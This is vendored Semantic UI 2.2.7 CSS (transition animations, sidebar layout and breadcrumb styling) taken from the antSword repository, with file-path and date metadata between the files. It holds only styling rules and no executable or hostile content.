flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@-webkit-keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.transition.slide.in,.transition[class*="slide down"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center left;transform-origin:center left}.transition.slide.out,.transition[class*="slide down"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@-webkit-keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}.transition.swing{-webkit-animation-duration:.8s;animation-duration:.8s}.transition[class*="swing down"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center left;transform-origin:center left}.transition.swing.out,.transition[class*="swing down"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@-webkit-keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@-webkit-keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@-webkit-keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}@keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}.flash.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:flash;animation-name:flash}.shake.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:shake;animation-name:shake}.bounce.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:bounce;animation-name:bounce}.tada.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:tada;animation-name:tada}.pulse.transition{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-name:pulse;animation-name:pulse}.jiggle.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:jiggle;animation-name:jiggle}@-webkit-keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@-webkit-keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}} ```
/content/code_sandbox/static/libs/semanticui/components/transition.min.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
10,502
```css /*! * # Semantic UI 2.2.7 - Sidebar * path_to_url * * * Released under the MIT license * path_to_url * */.ui.sidebar{position:fixed;top:0;left:0;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:none;transition:none;will-change:transform;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);visibility:hidden;-webkit-overflow-scrolling:touch;height:100%!important;max-height:100%;border-radius:0!important;margin:0!important;overflow-y:auto!important;z-index:102}.ui.sidebar>*{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.left.sidebar{right:auto;left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.sidebar{right:0!important;left:auto!important;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.bottom.sidebar,.ui.top.sidebar{width:100%!important;height:auto!important}.ui.top.sidebar{top:0!important;bottom:auto!important;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.sidebar{top:auto!important;bottom:0!important;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.pushable{height:100%;overflow-x:hidden;padding:0!important}body.pushable{background:#545454!important}.pushable:not(body){-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.pushable:not(body)>.fixed,.pushable:not(body)>.pusher:after,.pushable:not(body)>.ui.sidebar{position:absolute}.pushable>.fixed{position:fixed;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;will-change:transform;z-index:101}.pushable>.pusher{position:relative;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;min-height:100%;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:2}body.pushable>.pusher{background:#fff}.pushable>.pusher{background:inherit}.pushable>.pusher:after{position:fixed;top:0;right:0;content:'';background-color:rgba(0,0,0,.4);overflow:hidden;opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s;will-change:opacity;z-index:1000}.ui.sidebar.menu .item{border-radius:0!important}.pushable>.pusher.dimmed:after{width:100%!important;height:100%!important;opacity:1!important}.ui.animating.sidebar{visibility:visible}.ui.visible.sidebar{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.left.visible.sidebar,.ui.right.visible.sidebar{box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.bottom.visible.sidebar,.ui.top.visible.sidebar{box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.visible.left.sidebar~.fixed,.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}.ui.visible.right.sidebar~.fixed,.ui.visible.right.sidebar~.pusher{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}.ui.visible.top.sidebar~.fixed,.ui.visible.top.sidebar~.pusher{-webkit-transform:translate3d(0,36px,0);transform:translate3d(0,36px,0)}.ui.visible.bottom.sidebar~.fixed,.ui.visible.bottom.sidebar~.pusher{-webkit-transform:translate3d(0,-36px,0);transform:translate3d(0,-36px,0)}.ui.visible.left.sidebar~.ui.visible.right.sidebar~.fixed,.ui.visible.left.sidebar~.ui.visible.right.sidebar~.pusher,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.fixed,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.ios{overflow-x:hidden;-webkit-overflow-scrolling:touch}html.ios,html.ios body{height:initial!important}.ui.thin.left.sidebar,.ui.thin.right.sidebar{width:150px}.ui[class*="very thin"].left.sidebar,.ui[class*="very thin"].right.sidebar{width:60px}.ui.left.sidebar,.ui.right.sidebar{width:260px}.ui.wide.left.sidebar,.ui.wide.right.sidebar{width:350px}.ui[class*="very wide"].left.sidebar,.ui[class*="very wide"].right.sidebar{width:475px}.ui.visible.thin.left.sidebar~.fixed,.ui.visible.thin.left.sidebar~.pusher{-webkit-transform:translate3d(150px,0,0);transform:translate3d(150px,0,0)}.ui.visible[class*="very thin"].left.sidebar~.fixed,.ui.visible[class*="very thin"].left.sidebar~.pusher{-webkit-transform:translate3d(60px,0,0);transform:translate3d(60px,0,0)}.ui.visible.wide.left.sidebar~.fixed,.ui.visible.wide.left.sidebar~.pusher{-webkit-transform:translate3d(350px,0,0);transform:translate3d(350px,0,0)}.ui.visible[class*="very wide"].left.sidebar~.fixed,.ui.visible[class*="very wide"].left.sidebar~.pusher{-webkit-transform:translate3d(475px,0,0);transform:translate3d(475px,0,0)}.ui.visible.thin.right.sidebar~.fixed,.ui.visible.thin.right.sidebar~.pusher{-webkit-transform:translate3d(-150px,0,0);transform:translate3d(-150px,0,0)}.ui.visible[class*="very thin"].right.sidebar~.fixed,.ui.visible[class*="very thin"].right.sidebar~.pusher{-webkit-transform:translate3d(-60px,0,0);transform:translate3d(-60px,0,0)}.ui.visible.wide.right.sidebar~.fixed,.ui.visible.wide.right.sidebar~.pusher{-webkit-transform:translate3d(-350px,0,0);transform:translate3d(-350px,0,0)}.ui.visible[class*="very wide"].right.sidebar~.fixed,.ui.visible[class*="very wide"].right.sidebar~.pusher{-webkit-transform:translate3d(-475px,0,0);transform:translate3d(-475px,0,0)}.ui.overlay.sidebar{z-index:102}.ui.left.overlay.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.overlay.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.overlay.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.overlay.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.animating.ui.overlay.sidebar,.ui.visible.overlay.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.left.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.right.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.top.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.bottom.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.overlay.sidebar~.fixed,.ui.visible.overlay.sidebar~.pusher{-webkit-transform:none!important;transform:none!important}.ui.push.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.push.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.push.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.push.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.push.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.visible.push.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ui.visible.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.slide.along.sidebar{z-index:1}.ui.left.slide.along.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.right.slide.along.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.top.slide.along.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.bottom.slide.along.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.animating.slide.along.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.along.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.slide.out.sidebar{z-index:1}.ui.left.slide.out.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.right.slide.out.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.top.slide.out.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.bottom.slide.out.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.animating.slide.out.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.out.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.scale.down.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.scale.down.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.scale.down.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.scale.down.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.scale.down.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.scale.down.left.sidebar~.pusher{-webkit-transform-origin:75% 50%;transform-origin:75% 50%}.ui.scale.down.right.sidebar~.pusher{-webkit-transform-origin:25% 50%;transform-origin:25% 50%}.ui.scale.down.top.sidebar~.pusher{-webkit-transform-origin:50% 75%;transform-origin:50% 75%}.ui.scale.down.bottom.sidebar~.pusher{-webkit-transform-origin:50% 25%;transform-origin:50% 25%}.ui.animating.scale.down>.visible.ui.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.animating.scale.down.sidebar~.pusher,.ui.visible.scale.down.sidebar~.pusher{display:block!important;width:100%;height:100%;overflow:hidden!important}.ui.visible.scale.down.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.scale.down.sidebar~.pusher{-webkit-transform:scale(.75);transform:scale(.75)} ```
/content/code_sandbox/static/libs/semanticui/components/sidebar.min.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,092
```css /*! * # Semantic UI 2.2.7 - Breadcrumb * path_to_url * * * Released under the MIT license * path_to_url * */ /******************************* Breadcrumb *******************************/ .ui.breadcrumb { line-height: 1; display: inline-block; margin: 0em 0em; vertical-align: middle; } .ui.breadcrumb:first-child { margin-top: 0em; } .ui.breadcrumb:last-child { margin-bottom: 0em; } /******************************* Content *******************************/ /* Divider */ .ui.breadcrumb .divider { display: inline-block; opacity: 0.7; margin: 0em 0.21428571rem 0em; font-size: 0.92857143em; color: rgba(0, 0, 0, 0.4); vertical-align: baseline; } /* Link */ .ui.breadcrumb a { color: #4183C4; } .ui.breadcrumb a:hover { color: #1e70bf; } /* Icon Divider */ .ui.breadcrumb .icon.divider { font-size: 0.85714286em; vertical-align: baseline; } /* Section */ .ui.breadcrumb a.section { cursor: pointer; } .ui.breadcrumb .section { display: inline-block; margin: 0em; padding: 0em; } /* Loose Coupling */ .ui.breadcrumb.segment { display: inline-block; padding: 0.78571429em 1em; } /******************************* States *******************************/ .ui.breadcrumb .active.section { font-weight: bold; } /******************************* Variations *******************************/ .ui.mini.breadcrumb { font-size: 0.78571429rem; } .ui.tiny.breadcrumb { font-size: 0.85714286rem; } .ui.small.breadcrumb { font-size: 0.92857143rem; } .ui.breadcrumb { font-size: 1rem; } .ui.large.breadcrumb { font-size: 1.14285714rem; } .ui.big.breadcrumb { font-size: 1.28571429rem; } .ui.huge.breadcrumb { font-size: 1.42857143rem; } .ui.massive.breadcrumb { font-size: 1.71428571rem; } /******************************* Theme Overrides *******************************/ /******************************* Site Overrides *******************************/ ```
/content/code_sandbox/static/libs/semanticui/components/breadcrumb.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
522